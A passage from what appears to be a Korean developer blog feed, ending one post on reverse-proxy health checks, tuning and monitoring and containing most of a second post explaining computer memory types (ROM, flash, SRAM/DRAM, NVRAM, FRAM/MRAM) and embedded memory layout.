<li>HTTP 서버가 아닌 경우, 단순 TCP 연결 또는 ping(ICMP)으로 확인.</li>
<li>DB 서버나 레거시 시스템에서 사용됨.</li>
</ul>
<h4 id="3-failover-장애-조치">3) Failover (장애 조치)</h4>
<ul>
<li>기본 서버 장애 시 대체 백엔드로 트래픽 자동 전환.</li>
<li>HAProxy에서는 <code>backup</code> 옵션 사용, NGINX는 별도의 스크립트로 구현 가능.</li>
</ul>
<blockquote>
<p>주의: 헬스체크 주기와 타임아웃은 백엔드의 부하와 서비스 특성에 맞게 설정해야 함. 너무 잦거나 너무 느린 체크는 오탐 또는 느린 Failover로 이어질 수 있음.</p>
</blockquote>
<h3 id="63-성능-튜닝-버퍼-keep-alive-압축-설정-등">6.3 성능 튜닝: 버퍼, Keep-Alive, 압축 설정 등</h3>
<p>성능 최적화를 위해 리버스 프록시의 내부 처리 방식과 관련된 여러 요소를 세밀하게 조정해야 한다.</p>
<h4 id="1-버퍼-크기-조정">1) 버퍼 크기 조정</h4>
<ul>
<li>요청 헤더/본문, 응답 바디 등을 처리하는 내부 버퍼 크기를 설정.</li>
<li>NGINX 예: <code>client_body_buffer_size</code>, <code>proxy_buffer_size</code>, <code>proxy_buffers</code>.</li>
</ul>
<h4 id="2-keep-alive-설정">2) Keep-Alive 설정</h4>
<ul>
<li>클라이언트 및 백엔드와의 TCP 연결을 재사용하도록 설정.</li>
<li>NGINX: <code>keepalive_timeout</code>, <code>keepalive_requests</code>, <code>keepalive</code> 설정.</li>
<li>HAProxy: <code>option http-keep-alive</code>, <code>timeout client</code>, <code>timeout server</code>.</li>
</ul>
<h4 id="3-gzip-압축">3) Gzip 압축</h4>
<ul>
<li>정적 콘텐츠나 반복적인 텍스트 응답을 Gzip으로 압축하여 전송량을 줄임.</li>
<li>클라이언트가 <code>Accept-Encoding: gzip</code>을 보낼 경우 응답 압축 수행.</li>
<li>NGINX: <code>gzip</code>, <code>gzip_types</code>, <code>gzip_min_length</code> 설정.</li>
</ul>
<h4 id="4-파일-전송-최적화">4) 파일 전송 최적화</h4>
<ul>
<li><code>sendfile</code>, <code>tcp_nopush</code>, <code>tcp_nodelay</code> 옵션 등을 활용해 대용량 파일의 전송 효율을 높임.</li>
<li>특히 정적 파일 서버로도 동작하는 경우 큰 성능 차이 발생.</li>
</ul>
<blockquote>
<p>참고: 무작정 높은 수치를 주는 것이 아닌, 실제 트래픽 특성, 사용 메모리, CPU 활용률 등을 고려해 설정하는 것이 중요함.</p>
</blockquote>
<h3 id="64-실시간-모니터링-및-로그-분석">6.4 실시간 모니터링 및 로그 분석</h3>
<p>리버스 프록시 서버는 트래픽 흐름의 관문이므로 실시간 상태 파악과 문제 대응을 위한 모니터링이 필수이다.</p>
<h4 id="1-접근-로그-및-에러-로그">1) 접근 로그 및 에러 로그</h4>
<ul>
<li>모든 요청을 기록하여 IP, 경로, 응답 코드, 응답 시간 등을 확인.</li>
<li>NGINX: <code>access_log</code>, <code>error_log</code>.</li>
<li>HAProxy: 고급 로깅 기능과 syslog 연동 제공.</li>
</ul>
<h4 id="2-통합-모니터링-툴-연동">2) 통합 모니터링 툴 연동</h4>
<ul>
<li>Prometheus + Grafana, Datadog, Zabbix 등과 연동 가능.</li>
<li>QPS, 응답 시간, 에러율, 활성 세션 수 등 시각화 가능.</li>
</ul>
<h4 id="3-상태-페이지-노출">3) 상태 페이지 노출</h4>
<ul>
<li>NGINX: <code>stub_status</code>, HAProxy: <code>stats socket</code> 또는 <code>stats page</code>.</li>
<li>현재 연결 수, 백엔드 상태, 요청 처리량 등을 실시간 확인 가능.</li>
</ul>
<blockquote>
<p>팁: 로그는 분석을 위해서만 존재하는 것이 아니라, 이상 징후 감지 및 보안 침해 대응에도 활용되므로 로그 포맷 설계가 매우 중요함.</p>
</blockquote>
<hr>
<h2 id="7-마무리">7. 마무리</h2>
<p>다양한 플랫폼과 도구에 대해 가장 많이 다뤄야 했던 토픽인 것 같다. 역시 웹 관련 주제인가? 그라파나, 프로메테우스 등 써보고 싶었던 도구들도 얘기가 나오니 반가웠고, 웹서버 관련해서는 프로젝트를 수행하면서 간간이 접했던 내용들도 튀어나와 즐거웠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Daily CS) Computer Memory]]></title>
            <link>https://velog.io/@lilac_21/Daily-CS-Computer-Memory</link>
            <guid>https://velog.io/@lilac_21/Daily-CS-Computer-Memory</guid>
            <pubDate>Wed, 16 Apr 2025 16:19:15 GMT</pubDate>
            <description><![CDATA[<h1 id="computer-memory">Computer Memory</h1>
<blockquote>
<p>device that stores information, such as data and programs, for immediate use in the computer</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/c1654d5f-96fe-473c-a0c0-25cb550fcc3e/image.png" alt=""></p>
<p>(사진은 삼성의 SDRAM)</p>
<p>최근 데스크탑을 구매하기도 했고, IoT기기의 하드웨어를 분석하는 프로젝트를 수행하면서 메모리에 대한 공부를 꽤 해볼 수 있었다. 다만 그 종류와 사용되는 기술들이 다양하고 많은 바, 조금 헷갈리기 시작해 한번 날 잡고 정리해보고 싶어 준비해보았다.</p>
<hr>
<h2 id="1-컴퓨터-메모리의-분류-체계와-기본-개념">1. 컴퓨터 메모리의 분류 체계와 기본 개념</h2>
<h3 id="11-주기억장치-vs-보조기억장치">1.1 주기억장치 vs 보조기억장치</h3>
<p><strong>주기억장치(Main Memory)</strong> 는 CPU가 직접 접근 가능한 메모리로, 시스템이 실행 중인 프로그램과 데이터를 일시적으로 저장한다. 대표적으로 <strong>DRAM</strong> 기반의 <strong>RAM</strong>이 여기에 해당한다. 전원이 꺼지면 저장된 데이터가 사라지는 <strong>휘발성(Volatile)</strong> 메모리이다. CPU는 연산 과정에서 이 메모리를 거쳐야 하므로, 속도가 매우 중요하다.</p>
<p><strong>보조기억장치(Secondary Storage)</strong> 는 데이터의 <strong>영구 저장</strong>을 위한 장치로, 전원이 꺼져도 데이터가 유지된다. 대표적으로는 <strong>HDD, SSD, USB 플래시 드라이브, SD 카드</strong> 등이 있다. 다만 CPU가 직접 접근할 수 없기 때문에, 데이터는 RAM을 통해 중간적으로 전달된다.</p>
<table>
<thead>
<tr>
<th>구분</th>
<th>주기억장치</th>
<th>보조기억장치</th>
</tr>
</thead>
<tbody><tr>
<td>속도</td>
<td>빠름 (ns~µs 단위)</td>
<td>느림 (ms 단위)</td>
</tr>
<tr>
<td>휘발성 여부</td>
<td>휘발성</td>
<td>비휘발성</td>
</tr>
<tr>
<td>예시</td>
<td>DRAM, SRAM</td>
<td>SSD, HDD, USB</td>
</tr>
<tr>
<td>접근 경로</td>
<td>CPU 직접 접근 가능</td>
<td>CPU 직접 접근 불가</td>
</tr>
</tbody></table>
<h3 id="12-휘발성-vs-비휘발성-메모리">1.2 휘발성 vs 비휘발성 메모리</h3>
<p><strong>휘발성 메모리(Volatile Memory)</strong> 는 전원이 꺼지면 저장된 데이터가 모두 삭제되는 메모리다. 대표적으로 <strong>SRAM</strong>과 <strong>DRAM</strong>이 있다. 시스템 성능과 응답속도를 결정하는 핵심 요소이며, 일시적인 작업공간으로 활용된다.</p>
<ul>
<li><strong>SRAM(Static)</strong> 은 리프레시(refresh)가 필요 없어 속도가 빠르지만, 비싸고 용량이 작다.</li>
<li><strong>DRAM(Dynamic)</strong> 은 주기적인 리프레시가 필요하지만, 용량이 크고 저렴하다.</li>
</ul>
<p><strong>비휘발성 메모리(Non-Volatile Memory)</strong> 는 전원이 차단되어도 데이터가 보존된다. 주로 부팅 시 필요한 정보, 펌웨어, 설정값 등을 저장하는 데 사용된다.</p>
<ul>
<li><strong>ROM</strong>: 하드코딩된 정보 (수정 불가)</li>
<li><strong>EEPROM</strong>: 바이트 단위 수정 가능</li>
<li><strong>Flash Memory</strong>: 블록 단위 삭제 및 쓰기 (SSD, USB 등)</li>
<li><strong>NVRAM</strong>: RAM처럼 빠르지만 데이터 유지됨 (배터리 백업 or 특수 소자)</li>
</ul>
<table>
<thead>
<tr>
<th>종류</th>
<th>휘발성 여부</th>
<th>용도</th>
<th>예시</th>
</tr>
</thead>
<tbody><tr>
<td>SRAM</td>
<td>휘발성</td>
<td>CPU 캐시</td>
<td>L1/L2 캐시</td>
</tr>
<tr>
<td>DRAM</td>
<td>휘발성</td>
<td>시스템 메인 메모리</td>
<td>DDR4/DDR5 RAM</td>
</tr>
<tr>
<td>Flash</td>
<td>비휘발성</td>
<td>펌웨어 저장, 대용량 저장</td>
<td>SSD, USB</td>
</tr>
<tr>
<td>EEPROM</td>
<td>비휘발성</td>
<td>설정값 저장</td>
<td>IoT 디바이스</td>
</tr>
<tr>
<td>NVRAM</td>
<td>비휘발성</td>
<td>빠른 설정 저장</td>
<td>라우터 설정 영역</td>
</tr>
</tbody></table>
<h3 id="13-메모리-계층-구조와-접근-속도">1.3 메모리 계층 구조와 접근 속도</h3>
<p><strong>메모리 계층 구조(Memory Hierarchy)</strong> 는 속도와 비용에 따라 메모리를 구분하는 체계로, 전체 시스템의 성능 최적화를 위한 구조다. 위로 갈수록 빠르고 비싸며, 용량이 작다.</p>
<ol>
<li><strong>레지스터(Register)</strong>: CPU 내부의 가장 빠른 저장소. 수십 비트 크기.</li>
<li><strong>캐시 메모리(Cache)</strong>: CPU와 RAM 사이의 고속 SRAM. 일반적으로 L1, L2, L3 단계로 구성된다.</li>
<li><strong>주기억장치(Main Memory)</strong>: DRAM 기반. 실행 중인 프로그램과 데이터를 저장.</li>
<li><strong>보조기억장치(Storage)</strong>: SSD/HDD. 실행 전 프로그램과 영구 데이터 저장.</li>
<li><strong>원격 저장소/클라우드</strong>: 가장 느리지만 무제한 확장이 가능.</li>
</ol>
<table>
<thead>
<tr>
<th><strong><em>계층</em></strong></th>
<th><strong><em>종류</em></strong></th>
<th><strong><em>평균 접근 속도</em></strong></th>
<th><strong><em>비고</em></strong></th>
</tr>
</thead>
<tbody><tr>
<td>1단계</td>
<td>레지스터</td>
<td>1 ns 이내</td>
<td>CPU 코어 내부, 초고속</td>
</tr>
<tr>
<td>2단계</td>
<td>L1/L2/L3 캐시</td>
<td>1~10 ns</td>
<td>SRAM 기반, 최근 사용 데이터 저장</td>
</tr>
<tr>
<td>3단계</td>
<td>DRAM</td>
<td>50~100 ns</td>
<td>메인 메모리</td>
</tr>
<tr>
<td>4단계</td>
<td>SSD</td>
<td>100 µs 이상</td>
<td>플래시 메모리 기반 저장소</td>
</tr>
<tr>
<td>5단계</td>
<td>HDD/클라우드</td>
<td>ms 단위</td>
<td>가장 느리지만 대용량 저장 가능</td>
</tr>
</tbody></table>
<p>이 계층 구조를 통해 고속 데이터 접근은 상위 계층에서, 대용량 데이터 저장은 하위 계층에서 이루어지며, 운영체제는 이를 투명하게 연결해 성능과 효율을 동시에 달성한다.</p>
<hr>
<h2 id="2-rom-계열-메모리-특성과-용도">2. ROM 계열 메모리: 특성과 용도</h2>
<h3 id="21-rom의-원리와-제조-방식">2.1 ROM의 원리와 제조 방식</h3>
<p><strong>ROM(Read-Only Memory)</strong> 은 한 번 데이터를 기록하면 변경이 불가능하거나 극히 제한적인 방식으로만 변경 가능한 <strong>비휘발성 메모리</strong>다. 주로 <strong>부트스트랩 코드</strong>, <strong>펌웨어</strong>, <strong>하드웨어 초기화 정보</strong> 등을 저장하는 데 사용된다. 전원이 꺼져도 데이터가 유지되며, <strong>CPU가 직접 읽기만 가능</strong>하다.</p>
<h4 id="제조-방식">제조 방식</h4>
<p>ROM은 제조 시 다음 두 가지 방식 중 하나로 제작된다:</p>
<ul>
<li><p><strong>마스크드 ROM(Masked ROM)</strong>: 반도체 제작 공정 중 특정 위치에 전기적으로 &#39;0&#39; 또는 &#39;1&#39;이 되도록 영구적으로 회로가 형성된다. 데이터는 변경 불가능하며, 보통 대량생산 제품(예: 완성형 디지털 기기)에 쓰인다.</p>
</li>
<li><p><strong>Field-Programmable ROM (PROM)</strong>: 사용자가 처음 1회만 데이터를 기록할 수 있는 방식으로, 생산 후 사용자에 의해 소거 없이 1회 프로그래밍된다.</p>
</li>
</ul>
<p>ROM의 가장 큰 장점은 <strong>안정성</strong>이며, 단점은 <strong>유연성이 없다</strong>는 점이다. 펌웨어를 업데이트해야 하는 상황에서는 EEPROM이나 플래시 메모리로 대체된다.</p>
<h3 id="22-prom-eprom-eeprom의-차이">2.2 PROM, EPROM, EEPROM의 차이</h3>
<table>
<thead>
<tr>
<th><strong><em>항목</em></strong></th>
<th><strong><em>PROM</em></strong></th>
<th><strong><em>EPROM</em></strong></th>
<th><strong><em>EEPROM</em></strong></th>
</tr>
</thead>
<tbody><tr>
<td>수정 가능성</td>
<td>1회 프로그래밍만 가능</td>
<td>자외선을 통해 전체 삭제 후 재기록 가능</td>
<td>전기적으로 특정 바이트 단위 삭제/기록 가능</td>
</tr>
<tr>
<td>삭제 방식</td>
<td>불가</td>
<td>자외선(UV) 소거 (창 있는 패키지)</td>
<td>전기 신호를 통한 삭제/수정 가능</td>
</tr>
<tr>
<td>사용 예시</td>
<td>단일 프로그래밍 펌웨어</td>
<td>개발 및 테스트용 펌웨어 저장</td>
<td>부트로더, 설정 정보 저장</td>
</tr>
<tr>
<td>접근 단위</td>
<td>전체</td>
<td>전체</td>
<td>바이트 단위</td>
</tr>
<tr>
<td>쓰기 속도</td>
<td>빠름</td>
<td>느림</td>
<td>상대적으로 느림</td>
</tr>
</tbody></table>
<h4 id="요약">요약:</h4>
<ul>
<li><strong>PROM(Programmable ROM)</strong>: 제조 후 초기 1회만 기록 가능, 오류 시 재사용 불가.</li>
<li><strong>EPROM(Erasable Programmable ROM)</strong>: 자외선을 비춰서만 초기화 가능, 기록 시 전체 지워야 함.</li>
<li><strong>EEPROM(Electrically Erasable Programmable ROM)</strong>: 바이트 단위로 수정 가능하여 내장형 설정값 저장에 널리 사용됨. 하지만 쓰기 사이클 수명이 존재하여 지속적인 기록에는 부적합.</li>
</ul>
<h3 id="23-플래시-메모리의-구조와-블록-관리-기법">2.3 플래시 메모리의 구조와 블록 관리 기법</h3>
<p><strong>플래시 메모리(Flash Memory)</strong> 는 EEPROM에서 파생된 형태로, 블록 단위로 데이터를 삭제하고 다시 기록할 수 있는 비휘발성 저장장치이다. SSD, USB, SD 카드, 라우터 펌웨어 등에서 폭넓게 사용된다.</p>
<h4 id="구조적-특징">구조적 특징</h4>
<ul>
<li>플래시는 <strong>셀(Cell)</strong> 로 구성되며, 각 셀은 전하의 유무로 데이터를 표현한다.</li>
<li>셀의 배치는 보통 <strong>페이지(Page)</strong> → <strong>블록(Block)</strong> → <strong>플래시 칩 전체</strong>로 계층화된다.<ul>
<li>1 페이지: 보통 2KB ~ 8KB</li>
<li>1 블록: 수십 페이지 (예: 128KB ~ 512KB)</li>
</ul>
</li>
</ul>
<h4 id="주요-관리-기법">주요 관리 기법</h4>
<ol>
<li><p><strong>웨어 레벨링(Wear Leveling)</strong></p>
<ul>
<li>각 블록의 쓰기 횟수를 분산시켜 특정 영역의 수명이 짧아지는 것을 방지.</li>
<li>FTL(Flash Translation Layer)이 이를 자동으로 처리.</li>
</ul>
</li>
<li><p><strong>Garbage Collection (GC)</strong></p>
<ul>
<li>사용되지 않는 페이지들을 주기적으로 정리하여 공간 확보.</li>
<li>SSD에서는 TRIM 명령과 연계됨.</li>
</ul>
</li>
<li><p><strong>FTL(Flash Translation Layer)</strong></p>
<ul>
<li>물리 주소와 논리 주소 간의 매핑을 담당하며, 쓰기/삭제/재배치를 효율적으로 처리.</li>
<li>NAND 플래시는 직접 덮어쓰기(overwrite)가 불가능하므로, 쓰기 지연(latency)를 고려한 설계가 중요.</li>
</ul>
</li>
</ol>
<h4 id="slc-vs-mlc-vs-tlc">SLC vs MLC vs TLC</h4>
<ul>
<li><strong>SLC(Single-Level Cell)</strong>: 셀당 1비트, 빠르고 내구성 좋음 (산업용 SSD)</li>
<li><strong>MLC(Multi-Level Cell)</strong>: 셀당 2비트, 일반 소비자용 SSD</li>
<li><strong>TLC(Triple-Level Cell)</strong>: 셀당 3비트, 저가형, 수명 짧음</li>
</ul>
<hr>
<h2 id="3-ram-계열-메모리의-작동-원리와-특징">3. RAM 계열 메모리의 작동 원리와 특징</h2>
<h3 id="31-sram과-dram의-구조적-차이">3.1 SRAM과 DRAM의 구조적 차이</h3>
<p><strong>RAM(Random Access Memory)</strong> 은 데이터를 임의 접근 방식으로 읽고 쓸 수 있는 휘발성 메모리로, 시스템에서 <strong>작업 중 데이터 임시 저장소</strong>로 사용된다. 대표적인 RAM 종류는 <strong>SRAM(Static RAM)</strong> 과 <strong>DRAM(Dynamic RAM)</strong> 이며, 이 둘은 구조, 속도, 전력 소모, 집적도 등에서 뚜렷한 차이를 가진다.</p>
<h4 id="sram-static-ram">SRAM (Static RAM)</h4>
<ul>
<li><p><strong>구조</strong>: 각 비트를 저장하기 위해 6개의 트랜지스터(6T)를 사용하는 <strong>플립플롭 회로</strong> 기반. 별도의 커패시터는 없음.</p>
</li>
<li><p><strong>특징</strong>:</p>
<ul>
<li>리프레시(refresh) 필요 없음 → 데이터가 유지됨 (전원 공급 중에만)</li>
<li>접근 속도 매우 빠름 → 나노초(ns) 단위</li>
<li>전력 소비 크고, 집적도 낮음 → 칩 면적 많이 차지</li>
<li><strong>비용이 높고 용량은 작다</strong></li>
</ul>
</li>
<li><p><strong>용도</strong>: CPU의 L1/L2/L3 캐시 메모리, 고속 임베디드 칩 내부 메모리</p>
</li>
</ul>
<h4 id="dram-dynamic-ram">DRAM (Dynamic RAM)</h4>
<ul>
<li><p><strong>구조</strong>: 1개의 트랜지스터 + 1개의 커패시터(1T1C)로 구성된 셀</p>
</li>
<li><p><strong>특징</strong>:</p>
<ul>
<li>커패시터 전하로 데이터 저장 → 전하가 방전되므로 주기적 리프레시 필요</li>
<li>속도는 SRAM보다 느리나, 고집적/대용량 구현 가능</li>
<li>제조 단가 저렴, 공간 효율 우수</li>
</ul>
</li>
<li><p><strong>용도</strong>: PC 메모리, 노트북, 스마트폰 등의 시스템 메모리</p>
</li>
</ul>
<h4 id="비교-요약">비교 요약</h4>
<table>
<thead>
<tr>
<th>항목</th>
<th>SRAM</th>
<th>DRAM</th>
</tr>
</thead>
<tbody><tr>
<td>셀 구성</td>
<td>6T (트랜지스터만)</td>
<td>1T1C (트랜지스터 + 커패시터)</td>
</tr>
<tr>
<td>리프레시 필요</td>
<td>X</td>
<td>O</td>
</tr>
<tr>
<td>속도</td>
<td>매우 빠름</td>
<td>느림</td>
</tr>
<tr>
<td>밀도</td>
<td>낮음</td>
<td>높음</td>
</tr>
<tr>
<td>용도</td>
<td>캐시 메모리, 고속 임베디드 칩</td>
<td>시스템 메모리</td>
</tr>
</tbody></table>
<h3 id="32-dram의-리프레시-메커니즘">3.2 DRAM의 리프레시 메커니즘</h3>
<p>DRAM의 핵심 기술적 특징 중 하나는 <strong>정기적인 리프레시(refresh)</strong> 다. 이는 데이터 손실을 방지하기 위한 필수 절차로, DRAM이 CPU에 데이터를 제공하는 효율성과 직접 연결된다.</p>
<h4 id="작동-원리">작동 원리</h4>
<ul>
<li>커패시터는 시간이 지나면서 전하가 자연 방전됨.</li>
<li>이를 보완하기 위해, 주기적으로 데이터를 재읽고 재기록하는 동작을 수행 → &quot;리프레시&quot;</li>
<li>보통 64ms마다 모든 셀을 한 번씩 갱신(refresh)</li>
</ul>
<h4 id="리프레시-방식">리프레시 방식</h4>
<ul>
<li><strong>Auto Refresh</strong>: 메모리 컨트롤러가 자체적으로 정해진 주기마다 블록 단위로 자동 리프레시</li>
<li><strong>Distributed Refresh</strong>: 리프레시 부하를 분산하기 위해 매 클럭마다 소수의 행(row)만 갱신</li>
<li><strong>Self Refresh</strong>: 절전 모드에서 DRAM이 독립적으로 리프레시를 수행 (스탠바이 모드 등)</li>
</ul>
<h4 id="성능-영향">성능 영향</h4>
<ul>
<li>리프레시 중에는 해당 셀의 접근이 불가능 → 지연(latency) 유발</li>
<li>고용량 DRAM일수록 리프레시 시간 증가 → 성능 저하 요소</li>
<li>이를 해결하기 위한 방식으로 Bank Interleaving, 다중 채널 메모리 구성 등이 사용됨</li>
</ul>
<h3 id="33-고성능-응용을-위한-캐시-메모리sram-활용">3.3 고성능 응용을 위한 캐시 메모리(SRAM) 활용</h3>
<p><strong>캐시 메모리(Cache Memory)</strong> 는 CPU와 메인 메모리(DRAM) 간의 <strong>속도 차이를 극복하기 위한 고속 버퍼</strong>로서, 대부분 <strong>SRAM</strong>으로 구성된다. 가장 많이 사용하는 데이터나 명령어를 임시로 저장함으로써 메모리 접근 속도를 대폭 향상시킨다.</p>
<h4 id="캐시-계층-구조">캐시 계층 구조</h4>
<ul>
<li><strong>L1 캐시</strong>: CPU 코어 내부, 매우 작고 빠름 (수십 KB)</li>
<li><strong>L2 캐시</strong>: L1보다 크고 느림 (수백 KB ~ 수 MB)</li>
<li><strong>L3 캐시</strong>: CPU 다수 코어가 공유, 메인 메모리보다 빠름</li>
</ul>
<h4 id="sram-기반-캐시의-장점">SRAM 기반 캐시의 장점</h4>
<ul>
<li>비트 반응 속도(ns 단위) → CPU 클럭 속도에 거의 맞춰 작동</li>
<li>리프레시 필요 없음 → 일관된 응답 시간</li>
<li>다중 포트 지원 가능 → 동시 접근 효율적</li>
</ul>
<h4 id="캐시-미스miss-관리">캐시 미스(Miss) 관리</h4>
<ul>
<li><strong>Cache Hit</strong>: CPU가 원하는 데이터가 캐시에 있음 → 즉시 처리</li>
<li><strong>Cache Miss</strong>: CPU가 원하는 데이터가 없음 → 메인 메모리(DRAM) 접근 필요</li>
</ul>
<p>이를 줄이기 위해 다양한 캐시 정책이 적용됨:</p>
<ul>
<li>LRU(Least Recently Used), FIFO, Write-Back, Write-Through 등</li>
</ul>
<h4 id="응용-분야">응용 분야</h4>
<ul>
<li>고성능 CPU (x86, ARM 등)</li>
<li>네트워크 장비의 패킷 버퍼링</li>
<li>실시간 응답이 필요한 RTOS 기반 임베디드 시스템</li>
</ul>
<hr>
<h2 id="4-nvram과-특수-목적-메모리">4. NVRAM과 특수 목적 메모리</h2>
<h3 id="41-nvram과-일반-ram의-차이">4.1 NVRAM과 일반 RAM의 차이</h3>
<p><strong>NVRAM (Non-Volatile RAM)</strong> 은 이름 그대로 전원이 꺼져도 데이터가 유지되는 RAM이다. 휘발성인 일반 RAM과 달리, 비휘발성과 고속성을 동시에 갖추기 위한 기술적 중간지점에 위치하며, 특히 설정 값 저장 등 민감한 데이터의 영속성 확보에 사용된다.</p>
<h4 id="일반-ram과-nvram의-핵심-차이">일반 RAM과 NVRAM의 핵심 차이</h4>
<table>
<thead>
<tr>
<th>항목</th>
<th>일반 RAM (SRAM/DRAM)</th>
<th>NVRAM</th>
</tr>
</thead>
<tbody><tr>
<td>휘발성 여부</td>
<td>휘발성 (전원 차단 시 데이터 소실)</td>
<td>비휘발성 (전원 차단 후에도 데이터 유지)</td>
</tr>
<tr>
<td>저장 속도</td>
<td>매우 빠름</td>
<td>빠름 (SRAM과 유사 수준)</td>
</tr>
<tr>
<td>내구성</td>
<td>쓰기 무제한</td>
<td>비교적 제한적 (수십~수백만 회)</td>
</tr>
<tr>
<td>용도</td>
<td>실행 중 데이터 저장 (주기억장치)</td>
<td>설정 정보, 환경 변수 저장 등</td>
</tr>
</tbody></table>
<h4 id="대표적인-nvram-구현-방식">대표적인 NVRAM 구현 방식</h4>
<ul>
<li><strong>배터리 백업 SRAM</strong>: 실제 SRAM 칩에 리튬 전지 등을 연결하여 전원 공급 지속 → 비휘발성처럼 동작</li>
<li><strong>플래시 기반 NVRAM</strong>: EEPROM 또는 NOR Flash를 마이크로컨트롤러에서 RAM처럼 사용</li>
<li><strong>현대적 구현</strong>: NVSRAM, FeRAM, MRAM 등의 새로운 비휘발성 메모리로 대체 중</li>
</ul>
<h4 id="활용-사례">활용 사례</h4>
<ul>
<li>네트워크 장비에서 라우터/스위치 설정 저장</li>
<li>POS 단말기, 산업용 PLC, 임베디드 기기</li>
<li>BIOS/UEFI에서 설정값 저장 (과거에는 CMOS와 연결되어 동작)</li>
</ul>
<h3 id="42-rtc와-cmos-메모리">4.2 RTC와 CMOS 메모리</h3>
<p><strong>RTC(Real-Time Clock)</strong> 와 <strong>CMOS 메모리</strong>는 전통적인 PC 구조에서 BIOS 설정 및 시스템 시계 유지를 위한 핵심 부품이다.</p>
<h4 id="rtc-실시간-시계-칩">RTC (실시간 시계 칩)</h4>
<ul>
<li><strong>기능</strong>: 시스템 시간이 꺼져 있어도 흐르도록 유지</li>
<li><strong>구성</strong>: 일반적으로 소형 리튬 배터리와 함께 독립된 RTC 회로로 구현됨</li>
<li><strong>예시 칩셋</strong>: DS1307, PCF85263, RX-8025 등</li>
</ul>
<h4 id="cmos-메모리">CMOS 메모리</h4>
<ul>
<li><p><strong>역사적 용도</strong>: BIOS 설정값 저장</p>
</li>
<li><p><strong>기술적 특성</strong>:</p>
<ul>
<li>실제로는 소형 SRAM (수십~수백 바이트)으로 구성됨</li>
<li>RTC 배터리 또는 메인보드 배터리로 구동</li>
<li>전원이 끊기면 설정 초기화</li>
</ul>
</li>
<li><p><strong>현대적 변화</strong>:</p>
<ul>
<li>최신 시스템은 설정값을 SPI Flash, NVRAM 등 다른 저장소에 저장</li>
<li>UEFI 체계에서는 CMOS 사용이 점차 줄어드는 추세</li>
</ul>
</li>
</ul>
<h4 id="실제-용도-예시">실제 용도 예시</h4>
<ul>
<li>시스템 부팅 순서</li>
<li>CPU/메모리 설정</li>
<li>하드웨어 활성/비활성 상태 정보 저장</li>
</ul>
<h3 id="43-fram-mram-등-차세대-nvm-기술">4.3 FRAM, MRAM 등 차세대 NVM 기술</h3>
<p>전통적인 EEPROM과 플래시 메모리는 쓰기 속도와 내구성, 전력 측면에서 한계가 있다. 이를 극복하고 <strong>DRAM/SRAM 수준의 속도 + 비휘발성</strong>을 동시에 갖추기 위한 신세대 비휘발성 메모리 기술들이 개발되고 있다.</p>
<h4 id="fram-ferroelectric-ram">FRAM (Ferroelectric RAM)</h4>
<ul>
<li><p><strong>원리</strong>: 강유전체(ferroelectric) 물질을 이용한 전하 분극(polarization)</p>
</li>
<li><p><strong>특징</strong>:</p>
<ul>
<li>DRAM 수준의 빠른 읽기/쓰기 속도</li>
<li>매우 낮은 전력 소비</li>
<li>쓰기 수명이 100조 회 이상</li>
<li>용량 한계가 존재 (수십 KB~수 MB)</li>
</ul>
</li>
<li><p><strong>용도</strong>: 스마트 카드, 의료기기, 센서 데이터 로깅, 실시간 로깅 시스템</p>
</li>
</ul>
<h4 id="mram-magnetoresistive-ram">MRAM (Magnetoresistive RAM)</h4>
<ul>
<li><p><strong>원리</strong>: 자기저항(magnetoresistance)을 이용해 데이터 저장 (스핀트로닉스 기반)</p>
</li>
<li><p><strong>특징</strong>:</p>
<ul>
<li>SRAM과 유사한 속도, 낮은 지연</li>
<li>매우 높은 내구성 (SRAM 수준)</li>
<li>비휘발성 + 무제한 쓰기 가능성</li>
<li>제조 공정 복잡, 비용 높음</li>
</ul>
</li>
<li><p><strong>응용처</strong>: 산업용 임베디드 시스템, 항공/우주, 군수 장비</p>
</li>
</ul>
<h4 id="기타-기술들">기타 기술들</h4>
<ul>
<li><strong>ReRAM (Resistive RAM)</strong>: 저항 변화 기반 저장, NAND 플래시 대체 가능성</li>
<li><strong>PCM (Phase-Change Memory)</strong>: 상변화 물질로 0/1을 표현</li>
</ul>
<hr>
<h2 id="5-임베디드-시스템에서의-메모리-구성-전략">5. 임베디드 시스템에서의 메모리 구성 전략</h2>
<h3 id="51-코드-저장용-vs-데이터-저장용-메모리-분리">5.1 코드 저장용 vs 데이터 저장용 메모리 분리</h3>
<p>임베디드 시스템에서는 성능과 안정성, 비용 효율을 극대화하기 위해 <strong>코드와 데이터 저장소를 분리</strong>하는 것이 일반적이다. 이는 다음과 같은 이유에 기초한다.</p>
<h4 id="코드-저장용-메모리-code-memory">코드 저장용 메모리 (Code Memory)</h4>
<ul>
<li><p><strong>역할</strong>: 프로그램 명령어, 펌웨어 저장</p>
</li>
<li><p><strong>주요 메모리 종류</strong>: ROM, Flash, OTP</p>
</li>
<li><p><strong>특징</strong>:</p>
<ul>
<li>읽기 위주 접근</li>
<li>보안 측면에서 코드 변경이 어려움 (불변성 강조)</li>
<li>부팅 시 가장 먼저 접근되는 위치</li>
</ul>
</li>
<li><p><strong>설계 예시</strong>:</p>
<ul>
<li>부트로더 → Flash 저장</li>
<li>메인 루프 함수, 인터럽트 핸들러 → ROM 또는 Flash에 저장</li>
</ul>
</li>
</ul>
<h4 id="데이터-저장용-메모리-data-memory">데이터 저장용 메모리 (Data Memory)</h4>
<ul>
<li><p><strong>역할</strong>: 센서 값, 사용자 입력, 상태 변수 등 실시간 데이터 저장</p>
</li>
<li><p><strong>주요 메모리 종류</strong>: SRAM, DRAM, EEPROM, NVRAM</p>
</li>
<li><p><strong>특징</strong>:</p>
<ul>
<li>읽기/쓰기 빈도가 높음</li>
<li>데이터 변경 가능성이 큼</li>
<li>실시간 응답성 고려 필요</li>
</ul>
</li>
</ul>
<h4 id="메모리-분리의-이점">메모리 분리의 이점</h4>
<ul>
<li>프로그램 코드가 의도치 않게 덮어써지는 위험 방지</li>
<li>코드 보안성과 데이터 처리 유연성 동시 확보</li>
<li>파워 다운 이후에도 필요한 설정값만 선택적으로 저장 가능</li>
</ul>
<h3 id="52-flash-vs-eeprom-vs-nvram-비교">5.2 Flash vs EEPROM vs NVRAM 비교</h3>
<p>임베디드 환경에서는 <strong>비휘발성 저장소</strong>가 중요하며, 대표적으로 Flash, EEPROM, NVRAM이 사용된다. 각각의 특성은 용도에 따라 큰 차이를 만든다.</p>
<table>
<thead>
<tr>
<th>항목</th>
<th>Flash</th>
<th>EEPROM</th>
<th>NVRAM</th>
</tr>
